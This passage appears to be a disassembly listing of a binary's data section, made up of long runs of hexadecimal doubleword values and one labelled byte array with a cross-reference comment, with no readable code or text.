41825F4Dh, 173DE421h, 5E5480E9h, 0CC0D56D8h dd 44F908E4h, 4E23ED4Ah, 4A7F68B9h, 0D03041BFh, 49889784h dd 0B7FECFF8h, 9DE6C439h, 0EC8738F4h, 588528BDh, 0B05B7FA0h dd 215641B1h, 0DE2ADC3Ah, 862CE897h, 0D432BF79h, 0B4DDF60Bh dd 45EA8402h, 0EFBA0309h, 2A98BA04h, 0F7C374A5h, 301C1482h dd 872EECD8h, 390581AAh, 0ED79311Ah, 4B253C24h, 7EC679AAh dd 0B8021872h, 0B5E523CAh, 0C5E2BD71h, 7538EAFCh, 0A50638E0h dd 74604081h, 26B6E8DBh, 927E3114h, 6CEEE1B7h, 54F09957h dd 0AD9DF5F5h, 0E6629D47h, 92029443h, 46277CC1h, 12E27C01h dd 428A89D8h, 0EB98DA3Eh, 4A243F9Ch, 2B75CE2Ch, 77578102h dd 0D04F4135h, 0CD015C00h, 0B058C1F0h, 0D439DEA9h, 0AD7266D7h dd 7D19681Eh, 6DC015D3h, 2672CFBDh, 0A0348Fh, 0BCED8106h dd 234EDCB3h, 0E76B79F1h, 0D99F7857h, 0F9A044CCh, 0F47A2FB3h dd 327DD266h, 2A0FDABh, 69AD1E55h, 7685212h, 5A273A05h dd 15C23BAh, 0D534FEADh, 0BED4121Ch, 0A201311Eh, 507B5E08h dd 1017DE7Ah, 30C88DF9h, 5F40F0DDh, 5AB277B1h, 0B8DA122Dh dd 0B4EAB3ACh, 18105BA9h, 5892F7Dh, 2287E75Dh, 3C654E60h dd 712C226h, 1BDFD7F7h, 10C28CAh, 12FBFE77h, 0EBDCFEF8h dd 1A568C09h, 0EF008508h, 0C27BC299h, 840513Dh, 4C2731CCh dd 3A85D049h, 0E90B874Bh, 0DDD49496h, 0E5D46265h, 68BC30AAh dd 0E4B33DBBh, 3EA81408h, 0CC33E296h, 714E5576h, 0AEA467BCh dd 0C9FE1B8Ch, 9A7D7440h, 71A47E55h, 38681C02h, 0FE4A7EFCh dd 4C7C123Ch, 0CF8F0EB0h, 0FBED0E05h, 2F7DC08Bh, 545377FDh dd 0D8851910h, 50E2CA3Bh, 60128097h, 720B1CEAh, 0EC87D505h dd 0A608E1F5h, 71872B4Eh, 29942209h, 502090FAh, 7B4305B8h dd 843133E6h, 0A84BF16h, 70A10AFFh, 0A7046FBAh, 0D3EFACB5h dd 0AE29AB57h, 268D702h, 13C1525Ah, 0EBBB006Ah, 66722E50h dd 0A28816E3h, 10FC26E8h, 0AB0152B8h, 1C535801h, 8849D806h dd 1DBF6508h, 8A1F60C0h, 121F1D87h, 208020A0h, 20F9A731h dd 501242Ah, 80C60159h, 6929188Ch, 0A3405E08h, 206362BCh dd 54038F1Fh, 5710186Fh, 60AA082Eh, 396C18CEh, 3E62C08h dd 20187EDDh, 67081AA1h, 0CC18CCB3h, 58407D91h, 5BB740ECh dd 0F408D462h, 16FE03ACh, 0BE442010h, 1996AD10h, 7617F55h dd 70F9C01h, 0CB06E6B4h, 4031086Fh, 0A727183Ch, 1A1AF01h dd 888616Eh, 810CE73Dh, 63482828h, 0C7E00868h, 13EF1819h dd 88C22E1h, 4218D1AFh, 66CC7740h, 0F9AA10C0h, 20CEDC20h dd 0D3543254h, 51C68B80h, 3108F590h, 18188450h, 0D2089810h dd 0CC914839h, 0E08B579h, 0FBC79E40h, 14BFC01h, 388D5CBBh dd 0CD08174Dh, 141898D7h, 80522BB1h, 0B2807870h, 5ADB8064h dd 0CC860A80h, 46610410h, 7106A62h, 0CF4A03E8h, 49EE0818h dd 80818A18h, 780D608h, 5108C47Ch, 0FBB704B4h, 45E4204h dd 0D706546Fh, 8431401Bh, 4520802h, 1826A190h, 0FC084CC0h dd 0CDC4A9F2h, 5D620888h, 0CDDD808h, 0B289013h, 94D901FBh dd 0C05D1095h, 7DB83010h, 894B51C6h, 0C41A9008h, 60B9808h dd 2028639Eh, 5E203F7Ah, 18262069h, 20CAAE31h, 9102791Ah dd 6E328448h, 0ABC810C4h, 85F5D06h, 188B4931h, 88C67EDh dd 2418A0C5h, 0A81E8540h, 927534F4h, 10396570h, 1BE44693h dd 9A65088Dh, 0FC449841h, 57094C5Eh, 916A9424h, 88C801D8h dd 8707308h, 0FC0CFF58h, 92E2287Dh, 73663328h, 8910AC08h dd 0B41931ABh, 0F374084Eh, 96923810h, 1528A510h, 20F0D873h dd 14DC3193h, 4864C18h, 5408B2C6h, 41678852h, 889C619Fh dd 87C5608h, 0A21C9C60h, 10752833h, 104FAFD1h, 5A10AC28h dd 0A71E1092h, 911A7119h, 0E4108CC3h, 669C08BBh, 82D7142h dd 0ADE9C962h, 746E032Ah, 20047120h, 3533DAE9h, 0ECF20872h dd 4F08705h, 0C8E8FC50h, 13B85FA4h, 1E45EB35h, 1039D71Eh dd 3B004303h, 2752C47h, 896313EBh, 7AA7B90Eh, 105003Dh dd 49408F44h, 7516C90Bh, 991C8BF7h, 3DE057Ah, 42C8B9F0h dd 0CC07833h, 304FB10Fh, 6817AC2Ch, 9A8C7205h, 1040672Eh dd 0DA70635Dh, 665C0C12h, 0EE6491EEh, 66329D1h, 0C9364E6h dd 49670B0Ch, 0A8F5011Ah, 0C3408F7h, 0B1E91403h, 80FB5A15h dd 0CE68514Fh, 168C7F4Bh, 373F03EFh, 15E1351Dh, 0A9E90A26h dd 0C6802430h, 0EACEE05Eh, 0F66EEBEEh, 7AE61848h, 0E4E96322h dd 0AECBD2F2h, 195AD23h, 4DF0C5BBh, 0F3017BECh, 434C1DE9h dd 36B95F94h, 0ED6B812Bh, 59EF3009h, 0F20FCFD8h, 0E9B20CF7h dd 0F3231FE7h, 0D90B8C70h, 0D253685Bh, 67093202h, 8DF55A0Ah dd 5F6F0C24h, 0A0F4C95Ah, 0B0534E55h, 8426626Dh, 0FCE0E189h dd 0CB3E3950h, 0F769F44Eh, 4B5FC324h, 2AEBA006h, 3207DF31h dd 68385EF3h, 9641EC4Fh, 0CED72209h, 0F46812C6h, 0B73AFD58h dd 0DD024B68h, 0E05133B8h, 3C1F5F82h, 6F801052h, 3A6AC625h dd 5A0C05D4h, 789958B0h, 0F62601Fh, 761D0DEEh, 0A685FB6h dd 18260E34h, 7C3B820Eh, 0B373000Fh, 0A2BAE909h, 0D5F1C2E1h dd 447992BDh, 0E28074FFh, 7E2189B0h, 0AD509308h, 558A144h dd 0E9B08728h, 0ECA934E5h, 5759DDC8h, 0C68130AAh, 55257FC9h dd 0A070765Dh, 0A0498408h, 0A33C27A5h, 0F3985AF9h, 52A09945h db 6Eh byte_4E0049 db 0F1h, 0D5h, 9Dh ; DATA XREF: ___:0042CC94o dd 5BCBCE15h, 9F25284h, 2DBB2E3Ch, 0F3CA6A01h, 3ED7310Eh dd 803BA587h, 0E9C76A97h, 0BCDE49AAh, 8E110F52h, 86C1056Dh dd 74F0DE08h, 0ED69097Ch, 0B3E2013Ah, 800808h, 395E2B88h dd 6502BE56h, 31411042h, 80CFF1F7h, 635FB951h, 3ECE2276h dd 29131C62h, 10A9AA6h, 98357C3h, 4D22AD25h, 0CE767D18h dd 9813C962h, 1A26BF84h, 627E910Ah, 31A4DE2Eh, 0F702D8CFh dd 95A0D75Fh, 0BA6B055Bh, 0F8D3E934h, 4EC5B24h, 428D7EA9h dd 7D4C5C38h, 0E9516160h, 76959694h, 5D1766EEh, 289A7CB4h dd 0E39E824Dh, 93BF5912h, 0FEA3F0B4h, 136CC9A0h, 0F680FFA2h dd 2709491Fh, 0FC94E292h, 5324AF25h, 0A3A03013h, 976573E9h dd 0B1C3D19Ch, 3D550E9h, 8039B422h, 0EC986ECCh, 0E13C2846h dd 60E98658h, 374ECE20h, 87A3B071h, 51F23752h, 0FE5E5AD5h dd 97CC465Dh, 5131995h, 0FDD61EA6h, 82E812B8h, 559622EBh dd 6152035Eh, 0AA5CBA1h, 183F30E5h, 0BB106C03h, 525017A6h dd 21AE860h, 6FD45B12h, 0A985D521h, 0E18E85B7h, 0A12D3B1Fh dd 2C6C917Bh, 54252F26h, 0ACC7B504h, 0DD895803h, 76E13B5Eh dd 1FF19581h, 2FD9B02Ah, 0DF38A06h, 0E0D1246Ah, 64720867h dd 88028F0Dh, 2A540BCEh, 5E5DFB89h, 166960DBh, 659F4A73h dd 5493BFAFh, 9E1B8C31h, 0F8C1A954h, 0BCB04597h, 5B661580h dd 0CE770A05h, 206D5E58h, 68590A38h, 0A53F7678h, 0E8BC254h dd 8598FFFBh, 303C4DB3h, 0C9AC4CDAh, 1E06DD02h, 0E94E08C5h dd 5D2DBDA9h, 38787E12h, 0BE7008D8h, 83DC16ECh, 0A117FFDDh dd 761A10FDh, 8CF56F8Bh, 78E008E1h, 0C6051F07h, 7158273Bh dd 0CE1881F8h, 0F60A2179h, 0A2A7FF3Fh, 0E961BF51h, 0D104BAA7h dd 322C56E7h, 28C21C90h, 0D2AB3492h, 72755D67h, 7DF98109h dd 0EB814980h, 165653E5h, 9EB277F6h, 0E0285D4Eh, 28682E56h dd 1B7C32A3h, 54957BD0h, 3E885150h, 97C1DFC3h, 9050085Ch dd 804B40D1h, 3D36EF38h, 0CB7818F8h, 5F5BDC33h, 0A0753753h dd 73FAE9E1h, 552C22C7h, 0D0271ED5h, 81082BD2h, 502168BAh dd 98848951h, 2EEBCF6Ah, 0FAA450E1h, 0A5B01828h, 0F7884417h dd 67E95910h, 0EC64544Eh, 7D2107A0h, 0C29C25F0h, 2F4921FCh dd 20156593h, 19C98054h, 0ACE2E3B6h, 48D86800h, 100D9F25h dd 83F9E520h, 0D4206C1Ah, 72AE400Ch, 0DF5FCBC6h, 3D269C73h dd 2F03F800h, 2EE94773h, 0A7D74ACBh, 0F07C0BA2h, 0DF54BB4Ah dd 0FA203Eh, 0D57297BAh, 5AD62113h, 92DE873Fh, 0B5AC6F42h dd 13835F84h, 0C602A10Bh, 0FC7FD226h, 0D1959C0Eh, 287714C1h dd 0FE111089h, 52124248h, 0CD8D1E17h, 0E0174D16h, 0A23E2C30h dd 9BB59763h, 60E3FC38h, 39BE0A74h, 46FA1A20h, 0B86001F6h dd 5153AC16h, 0DDBA4CB1h, 0CF88FF0Bh, 7B18D47Ch, 5C531A06h dd 12EBEF6h, 132ECA84h, 708DECEDh, 644D865h, 65429AC2h dd 0C05014AFh, 5A54FE10h, 4CCA29E0h, 0C300AE2Dh, 6EF43DCh dd 5490D329h, 4E545140h, 40C99E59h, 1483486h, 0B68C28Dh dd 0B759666Ch, 0D91252B0h, 64551A92h, 2AB830C4h, 68B242D7h dd 0F654EB7Ah, 0E9F0DABCh, 45B1D7ABh, 0CB285C83h, 5D95768Bh dd 0C83248CCh, 480B1960h, 0B5EF1183h, 0B3C08C71h, 48B4501Ah dd 5805C759h, 0D94B32E9h, 5FE3902Bh, 0D769B092h, 3F904D1Fh dd 9A7B704Bh, 0AFB30015h, 75160Ch, 0E281EAD1h, 0EFA4C7Dh dd 228E6818h, 827C35CDh, 4EE46975h, 967FDDA5h, 58502396h dd 5DF90542h, 55A19C6Ch, 0B2AF04D0h, 7A2A7BDAh, 2DCADC12h dd 9B939E28h, 850F0D41h, 0CA82B5Bh, 84C3241Dh, 9B243E3h dd 34E0184Eh, 3D18243Fh, 9E630023h, 38E93A61h, 947DBAAAh dd 0F1695F7Bh, 0A69B687Bh, 0E8392021h, 16E32C48h, 69EA5A67h dd 0BECC8148h, 1C6360F6h, 0D748117Dh, 41C8303Bh, 3EDD5489h dd 57068945h, 0C097B530h, 16E5BA0Ch, 8A9D31F9h, 0FA2925B5h dd 0DBA9EE00h, 0B0516F71h, 4BE5FD58h, 4C73A77Fh, 0CC0133Dh dd 815B74FEh, 502EA820h, 1BC8EEA2h, 8BAC0D4Ah, 3982793Dh dd 2D6AE943h, 41688168h, 0A6F32F5Bh, 0B8034D1Fh, 6865704Bh dd 3FBB064Bh, 1D75C901h, 7CE28B56h, 21975EB3h, 107C24Ah dd 220CD3Eh, 0BCC8F1FEh, 14588D68h, 4BC4AD5h, 6FB85000h dd 29CB74EBh, 41E9C509h, 0E4F720C3h, 0F47D200Bh, 3A3F41A9h dd 9E7C8EE0h, 3E53183Fh, 0F4253033h, 0FB936318h, 0BD2C8E25h dd 51000571h, 4A0B31B9h, 497C970Ch, 1744875Ah, 84326912h dd 0B9107CE6h, 0CF2CCF1Bh, 0DA2102E1h, 71FDEC44h, 819781F5h dd 0DB3637C2h, 0FCD609C8h, 56354F46h, 1B6E02E4h, 43E86EC1h dd 588186D7h, 1B136Fh, 507A863h, 12CF2111h, 0E9B09787h dd 957A7088h, 89C59DDCh, 2B9199BEh, 5E29B03Ch, 4E00A6D8h dd 2C979AF2h, 735B0BB5h, 0D2B794A8h, 3500D61Eh, 7A8D0D80h dd 60B74D0Fh, 0EF88530Fh, 0D589A605h, 3108FB91h, 0EE5A16F9h dd 54EAC34Ch, 0F85F09D2h, 80FA5D16h, 0BE09B1B0h, 0DD7A3B2Eh dd 6217BC01h, 0D6F7E4F4h, 737410C1h, 0C66F2159h, 0BB01758Dh dd 430B177Ah, 95F7CB87h, 38AB70D4h, 545850CFh, 7669843Ah dd 0FB6AF34h, 5EE968D8h, 0F76A8B0Ah, 7700DADBh, 0D12C476Ch dd 0BD550FEFh, 83871728h, 325D8731h, 8A595FFBh, 0D231D63Eh dd 162276EBh, 2A0B0698h, 581FF550h, 4B5E9428h, 427A1A7Dh dd 904775F8h, 920D408h, 0DB00D9F7h, 472B36DAh, 25CE1EAh dd 972C2032h, 18D060C0h, 0AF5645B5h, 0E96211DEh, 2876691Fh dd 4090FC60h, 530C5035h, 7B2BCA68h, 0AE754AC4h, 62FBCB35h dd 4C575592h, 23560ADAh, 3555465h, 176D32C5h, 142BF1B0h dd 1D88822Eh, 7D572F1Ah, 5B5BC53Eh, 53F2C3A8h, 0C7CE9C7Dh dd 0E27D688Bh, 1F792596h, 4B9B5EA5h, 95D414F5h, 53BF83C6h dd 1AE96113h, 0D5B193E4h, 29838DA2h, 0AE35DEAh, 99E91D16h dd 0FBD303ACh, 883B9B79h, 2248DBFFh, 8E053914h, 0E567A477h dd 7032DD0h, 1DCE65E9h, 0CDA60440h, 2B302333h, 0CEB2D0A0h dd 0DD4F2668h, 4D0DD3C6h, 3A5A043Fh, 20A98B08h, 0BABD804Bh dd 0A07473E7h, 0EAFEAD3h, 2D069342h, 10440F23h, 85977848h dd 0E1F91497h, 463CFB97h, 0CA55FCE9h, 1DDEB13h, 47EC7903h dd 548D485Dh, 0B0558740h, 0A4296BB1h, 0FF7A257Ah, 87F60726h dd 7E50DA53h, 0E65E131Fh, 2E7B1218h, 4B138BAAh, 0EFC74FA4h dd 2BB8D97Bh, 0C58B8274h, 3915028h, 32B22EEDh, 0B58E9B8h dd 9539208Ch, 0A0B8DCE3h, 732E1E96h, 9F096031h, 544C98E8h dd 10B58E5Fh, 5EBA6816h, 710F8C07h, 0BEED7C62h, 0B1819423h dd 4879A483h, 0FD530AA0h, 0F2C25896h, 52D4880h, 571C78B6h dd 0BB83FE31h, 881A4E45h, 0DC60652Ch, 6ED6F643h, 0E0735A5Dh dd 105D4338h, 59C62E3Ah, 0EE08CD4Ah, 0FB688502h, 2A95A33Bh dd 5F5DD33Dh, 7A0C9FE1h, 9E3676Fh, 67ED3848h, 10861077h dd 18892444h, 5DA895Ch, 0BC9B03AAh, 0BE79A197h, 3B30D839h dd 3A333838h, 2CF54FF9h, 0F45E2924h, 0C809AF4h, 5A667EC3h dd 3025670Ah, 0F4B19ADDh, 2E462761h, 53600594h, 4BB0B6B7h dd 0E9C204ABh, 52B6A08Ah, 0F495E7F8h, 0AD2175Ch, 139F249Ch dd 97E8FD5Dh, 173C65AAh, 0A59EBC11h, 0A817EB80h, 0D15D1875h dd 0CD8104E5h, 1F0CD614h, 0A417FB4h, 0E6968489h, 79655348h dd 29010216h, 5F08BB50h, 4ADC0BB4h, 31EB4B38h, 0F15FB5C2h dd 0BE5C45E8h, 0F1FF4F23h dd 57E26187h, 48DF7112h, 785E555Dh, 84A205Dh, 429FBCFAh dd 0F6735F37h, 75402632h, 0DC2DBA51h, 0BC8F6935h, 6A08FD0Dh dd 950CCC36h, 0AF9361F3h, 99C44184h, 317C6DFAh, 0DE51FCA7h dd 6094624Ah, 0AEE90802h, 0C368744Fh, 0C5187133h, 88620C0Bh dd 3D5873E7h, 91F0873Ch, 21D61376h, 29309166h, 31CE0124h dd 0C12D8513h, 0A47E9221h, 0E2B78297h, 0B56D55A2h, 8BC5EA5h dd 0BE1A91F0h, 0EE2C6123h, 0EE7C66Eh, 0E8BC59BFh, 27D92DEEh dd 0CA13C9E8h, 65B06A41h, 9B3005B5h, 0E907965Bh, 4C4D16DCh dd 0A416E83Bh, 0C1BB3A64h, 0A50E9EAEh, 0BB9BDC12h, 0EB7E12CFh dd 0B6673B2Ch, 0FDB00196h, 0C1C0EB80h, 0BC16F0C3h, 66F648ACh dd 0BAB4635Fh, 0B9FC40DFh, 48410152h, 16BF045Ch, 84AE549Ch dd 9EDD8004h, 1E4F5A31h, 0D135EB80h, 505B0B2Ch, 1AC6C589h dd 0F1534DA9h, 5BDFF8CBh, 0F9215917h, 58D31292h, 1F515BDBh dd 9768C4ADh, 31D68D46h, 5E2CC283h, 0CD292558h, 0DD355378h dd 4CE43E06h, 898B935Bh, 45F55DEBh, 90DC09A6h, 1435E910h dd 9A3E3C3Dh, 5D4E4112h, 2595D688h, 2DB93655h, 59563FF5h dd 3FDFA7Ah, 79293621h, 0A9817E2Dh, 5D0DC6Eh, 21E907A0h dd 3025F74Eh, 64C10100h, 1814A91h, 5361E2E1h, 6513E97Ch dd 8C037BE5h, 0B0487877h, 9B3CAEFh, 0EEE9E8ACh, 0C0B5E250h dd 67C7295Ah, 91E72258h, 295E2C1Ah, 0DB58456h, 44D70713h dd 5E4EA60Fh, 8D49D51Eh, 34B9406Dh, 0F3E7C013h, 1AEE2CAFh dd 390ACCB0h, 0D030F873h, 0BA14C400h, 120C0560h, 0FEB32D0Eh dd 821E4712h, 113E7EFh, 2DE95366h, 80D68117h, 0E6883DECh dd 163F155Dh, 0E4E7F9B0h, 246894A4h, 8C6F1145h, 0C5BB308Eh dd 53165B09h, 7028FF1Dh, 0E07C2508h, 7AC615Ah, 1821D40h dd 0CAF44CB6h, 926ED025h, 124F398h, 410DD452h, 9040CC15h dd 21668B1h, 5E2C179h, 4057EA83h, 9A5C8F2h, 0D38912E1h dd 315E6DE6h, 8FE00EC7h, 0EC113248h, 24BD3CF1h, 0CA091586h dd 0D7984D59h, 2E687F40h, 0C30F6CA8h, 104B8AB1h, 23D676F3h dd 17A8BF6Fh, 0E912669Dh, 73C87DB3h, 0ED2699Eh, 53808D6Fh dd 0E9EC8850h, 0AC62951Ah, 6B44EBD6h, 0E74AE8FCh, 0B59A50D0h dd 59D8E545h, 26292514h, 8A0F776h, 5F480CC0h, 2DE92C0Bh dd 0D9C872FDh, 1FB63B9Eh, 5B5DB8E0h, 0BC6250F1h, 0E34112C4h dd 21B31320h, 2E26C322h, 0E2521974h, 12177B08h, 0A78FF858h dd 0EE841CF5h, 68A198BBh, 8856B90Ah, 0E10BC926h, 5301D506h dd 409D14FAh, 8F39E9E4h, 804348C9h, 0A0E24D3Fh, 48E3F86Bh dd 0E8D6F647h, 3F854DC5h, 4023A555h, 773BB2Ah, 0D16B6D48h dd 0FE3FC2EBh, 7CBC04F6h, 7F07750Ch, 0F79E1C01h, 0BED0E64h dd 41DA6803h, 3A8209F9h, 7D396A51h, 35A65F30h, 5D0D5826h dd 56671502h, 61B0C02Eh, 48191F2Ah, 1011383h, 0DE3EA2FDh dd 27536012h, 62995212h, 0AC89F901h, 0F4258636h, 4FF0FC2Fh dd 0EA0277A8h, 27BF428Ch, 0BE3A5641h, 827640E0h, 60EFC4FDh dd 79BB1C1Eh, 414C7E1Ah, 0BB8D3F7Fh, 129077BFh, 9505C617h dd 44CB620Ch, 0BB574011h, 10524B12h, 75C39D09h, 684891Eh dd 0C67609Fh, 61509C5Bh, 92478F5Eh, 0EA87F08Eh, 4075C99Eh dd 50D6F7C1h, 267A8446h, 1D907F32h, 2CCD02EEh, 87C00137h dd 4B6348Bh, 0DCECB75Eh, 0B5BACC95h, 0BD2E1E59h, 0D5E5840h dd 67E1FC16h, 0FE5B4ADFh, 0CA6B5DEEh, 0EF81D645h, 1275E57h dd 9CDBE03Bh, 0D5E7CF4Fh, 38685705h, 1013E365h, 0BD029E5Ch dd 704651E8h, 28907E63h, 0E9160C45h, 2DAFDB5Ah, 36F12E42h dd 0AD6BE29h, 28EE352Dh, 0C0594872h, 5029EAB5h, 2992F62Fh dd 0F22A8649h, 45732907h, 7156355Fh, 4709120Ah, 0D45A921Ch dd 582ED250h, 9D1F4435h, 268F2501h, 60D448F5h, 171FEA6Bh dd 8101FC2Dh, 34AE0E6Bh, 2A5A8CA4h, 1B1293A3h, 0F586B4D8h dd 43B0200h, 9C356A2Dh, 6F62BF25h, 0AC5D0705h, 0EDE90971h dd 0DB1AD747h, 5B23CB7Dh, 949BFCFCh, 0F6DA17F5h, 12629AA4h dd 0EC05203Bh, 0BA3F5091h, 0B65D2840h, 0E6810082h, 40BB0B9Ch dd 0E32F9AB0h, 5064F680h, 7C1695BDh, 0E802278Ch, 0E00A1FE9h dd 0D65060BFh, 85CDB497h, 0B5122160h, 17C580C0h, 0F8D5F630h dd 28CA1E55h, 5AC1BD60h, 0B50E2052h, 40E830D7h, 0BEC005B0h dd 0BA005B8h, 0AC267FD9h, 79E03709h, 807CF754h, 0A32C0B56h dd 0D43BCF12h, 3302ED82h, 17D1360h, 23C42FDh, 9A5B5F08h dd 6062DE26h, 17F0701Ch, 820EAB1h, 139A689Dh, 840E9511h dd 0BA9EACBh, 82F0B6DFh, 0FCD72ABDh, 88183624h, 1658C925h dd 9005AD66h, 0AE500BC1h, 0D15230E7h, 66D3EA07h, 9672CE29h dd 9C16CF1h, 3B0E1886h, 6417A9D7h, 20329A57h, 569F1F2Ch dd 315ACF53h, 60727B40h, 2C89479Ch, 3F5271A0h, 1CBBAC10h dd 14AEF988h, 0D3135B1Ch, 9F72BFAh, 0DEB746E9h, 2D4E87Dh dd 675637DDh, 89AA8F5h, 0B14FE906h, 54B60526h, 0AF75F680h dd 10022E4Dh, 7EF708FCh, 36C73C5Ah, 0C33EF9Bh, 90C3AEBCh dd 55B132A8h, 7D0A524Ch, 3C1D9C3Eh, 0D0907725h, 6FB16B17h dd 8739402Ch, 796775C6h, 7163CD60h, 9845F0EAh, 47B00996h dd 9E5C212Ah, 0B264E228h, 0F283F6CFh, 0C9B8EC1Ah, 1B6ABE18h dd 7A773DC7h, 3419D8C2h, 34F97D01h, 7427F63h, 0E0C1D09Bh dd 0A528A303h, 0F0291418h, 825C5070h, 815881D7h, 0D720AFE3h dd 0F3464A04h, 0E6C72D65h, 0D2311609h, 9D8CA56h, 591A1D68h dd 0F1D4C9FBh, 0F7781484h, 188FF890h, 21630162h, 0D3E95FFBh dd 3B562FFCh, 1FF464AFh, 51D3413Eh, 971142E9h, 75ACDEC9h dd 7E5F7E7Ch, 0D280FA54h, 0C52DA2A9h, 8CAFF7B5h, 849DF5B0h dd 0D1EB5AB3h, 8A74379Ch, 87DAF713h, 4533D00Bh, 3AC308A8h dd 6F396805h, 15A69CBEh, 0F52C0144h, 0B0864F6Dh, 9BFBF9Ah dd 83805F49h, 1ADC504Bh, 26420CDDh, 0FF592A17h, 0CA41A56Ch dd 81E9CA13h, 755D012Bh, 24E8D6Eh, 2D007F88h, 75F12B30h dd 15AFC60h, 26055035h, 9EBDDBEDh, 375C4176h, 70E6E945h dd 77217962h, 0E91A0752h, 0FD168358h, 0DDA055C7h, 49AF45BDh dd 0A2546C7Ah, 0F72E5DF2h, 0F21066D5h, 0C479D44Ah, 4F76EC96h dd 0AAA471ADh, 0D54808F2h, 0BB038B49h, 4FCD3396h, 0EB2862D1h dd 0B4C2EC84h, 53C9B401h, 0A13E2746h, 4817A772h, 81D2159Eh dd 3CF06B58h, 27F94654h, 0DF6A4249h, 7F3F30C5h, 0F3A836BCh dd 45E5D11Eh, 133FADCEh, 0D74B5DE6h, 0B814F451h, 0B850009Eh dd 187A0C3Dh, 3E340005h, 0E8C14170h, 0D7002506h, 2D5B5524h dd 0B0451FFDh, 0AAB259Eh, 0FB823EA2h, 0F173735Eh, 1D81C7A0h dd 40A206C5h, 2FB52E09h, 0F4D9E26Ah, 5FC532FFh, 0DE954FE6h dd 97F26B66h, 5750EF92h, 0BB806EA7h, 0D475013Ch, 3B04BA1Ah dd 0DA4D707Bh, 550B0C91h, 0B50E6472h, 0C2E68B25h, 20D56A85h dd 1833C823h, 31590558h, 824B205Fh, 80007C12h, 393025C2h dd 0F8A55AD7h, 88493AD5h, 0E2AFB62Eh, 0B1A64522h, 632A2BB2h dd 831E4F61h, 0B7C4C8h, 8049B252h, 0FE3A4CEAh, 0D4E286C2h dd 980D2F6h, 316FE9B4h, 0C1F1CBE4h, 58E66232h, 24BC94A7h dd 766C6942h, 62B28093h, 5A5ED5E0h, 0BFD9461Fh, 0F5480D54h dd 0A4EA5AFAh, 96BEDDC3h, 260B6805h, 0C89FC7F9h, 402DB644h dd 970931Ch, 0C2013659h, 0F8961684h, 0CF68C271h, 0F06E660Eh dd 0E71F4898h, 6CB505D6h dd 8252AC80h, 4370F930h, 44A5EA24h, 6FC20631h, 0C4D9E10h dd 72F81C09h, 382D5EB4h, 21FFE0DFh, 0B53EE848h, 532A8CBFh dd 48173B7h, 0AECD12E9h, 0B2353C52h, 294A38EAh, 100A621Fh dd 47AEEF81h, 0FB20689Ch, 0D53E0288h, 59CF093Ch, 53B740D5h dd 482301BBh, 0DF211FD8h, 0BE9685Bh, 40AA51E1h, 2FF98953h dd 0BCEA1EE9h, 0D625A77Eh, 4FCC8A3Bh, 0BBBE609Ch, 2B50496Eh dd 911747F8h, 52FED4B6h, 22FBFFDh, 9604F85Fh, 0CAB13A40h dd 1D66CE28h, 8EB22C59h, 5A8E04F0h, 0E1B31B6Eh, 0FFA7F708h dd 0C0F1E902h, 0DFDA7C74h, 6CB6F116h, 60368D63h, 2231B435h dd 83F82D51h, 0F518C969h, 111434B9h, 5A01E6BDh, 2B694Ah dd 521C25E2h, 96F7E963h, 0C1300BE4h, 4DD287D7h, 2805C330h dd 6010DDCBh, 8DC59F6h, 3FB0D4EDh, 1A1068C8h, 665E176Ch dd 0A674E8ECh, 0E08EA1ADh, 0AC9D1D2Ah, 0EC9D5448h, 0BB6816E9h dd 0EEEBD91Eh, 12422D30h, 0C4412545h, 5D0701B0h, 38BA08E9h dd 0EDCEA3E8h, 0E45AC5E9h, 0C15B959Dh, 0F862F531h, 737410ADh dd 978B9F78h, 7749A451h, 5360EF02h, 925D26ABh, 1EB477Ch dd 6547F3EDh, 0FAF5F04Fh, 3FC8DD03h, 324E38E9h, 0F4AED055h dd 67DFBF00h, 680C160Bh, 0F5DBC75Bh, 2D639077h, 7D7142D9h dd 56BE18F4h, 3D209E26h, 704A61F6h, 49176DCCh, 0F081D06Ah dd 2B22325Eh, 32602A2h, 50F6022Ah, 0C35E36BEh, 62F78100h dd 955B6B68h, 2D0C2DD6h, 79D9A3C2h, 4F1D2F0Dh, 0C5750402h dd 96EF409h, 2E76E579h, 1D07B9E0h, 810F013Ch, 0B6E77C9h dd 0F8E1D929h, 284BAE49h, 0B60B7CACh, 360BD7D1h, 8E2739FDh dd 25411F6Eh, 75A59945h, 0C41622B2h, 9F3F119Dh, 723D416Eh dd 226C12AFh, 0C8DDDC01h, 8521C553h, 162E8BE9h, 38F3ADFEh dd 6825AE1h, 0B182FDC8h, 0C47728DAh, 5B1AB535h, 0FEC34354h dd 412F9AC0h, 236C439Ah, 521BC4Ah, 8567A69h, 8704FAE9h dd 0BF0DBE5Ah, 6C14625Fh, 0E959870Ch, 30E457DEh, 0F6D840BBh dd 0B3929396h, 512D8AE8h, 40B1D6E5h, 3102F61Eh, 942D0B60h dd 2A190B14h, 26497FC2h, 89C54C41h, 0A247F837h, 60DF40C4h dd 6C9C2736h, 300BBB5Ch, 0F8E16857h, 95C1783Ch, 0A8827074h dd 0DE2FDF6Ah, 75B13BDh, 51BA521Fh, 3051995Ah, 6B14E457h dd 5F8766ADh, 87D1C421h, 3167379h, 77A90142h, 6EE57584h dd 914FE0F2h, 0EE1369E9h, 461E5712h, 2BA6EC95h, 5D585C8h dd 0AA675F68h, 0D710E63Dh, 2DDD60F1h, 87448948h, 47823B26h dd 79F6B053h, 64A8174Ah, 0EC0BAEF7h, 314CA11Dh, 0B93A58C3h dd 89A86053h, 0BA18D34Bh, 49662016h, 84593E96h, 22C136Ah dd 21D368DCh, 0EBB66146h, 0E9EE4825h, 3996612Fh, 0E59F04D0h dd 0ADE280Ah, 764C8D68h, 20FA5292h, 9F0D58ADh, 36166803h dd 40D0F7h, 0D1723BFAh, 2587E949h, 4AF5B9C0h, 97FE6F7Eh dd 749F3C50h, 4C55C9E7h, 0BAE97A4Eh, 67BF072Bh, 0C450601Eh dd 0E835C2FDh, 9FD0FFABh, 262C1705h, 218D1F7h, 17A27318h dd 50187D4h, 0ABE3E928h, 0F658BE09h, 0F72BD2D5h, 0C15AB45Ah dd 29EB86C5h, 1A5F42B2h, 0D8B74CDBh, 9D35CCDFh, 4E400AE2h dd 3AE9207Fh, 6227DD37h, 7C41415Dh, 3E1CC02h, 0E60E3698h dd 0DF2A2426h, 0C948F904h, 49627387h, 16F7C68Dh, 0EADE5933h dd 705F100Bh, 7BBE00E6h, 0BF535273h, 670B54EAh, 5FF73125h dd 0B07D8F25h, 5577560Ah, 989510E4h, 10515A7Ch, 5040A768h dd 67945E35h, 180DCF8Bh, 0F3315963h, 8A9F9C9h, 0ADD7C638h dd 0A4E0659Fh, 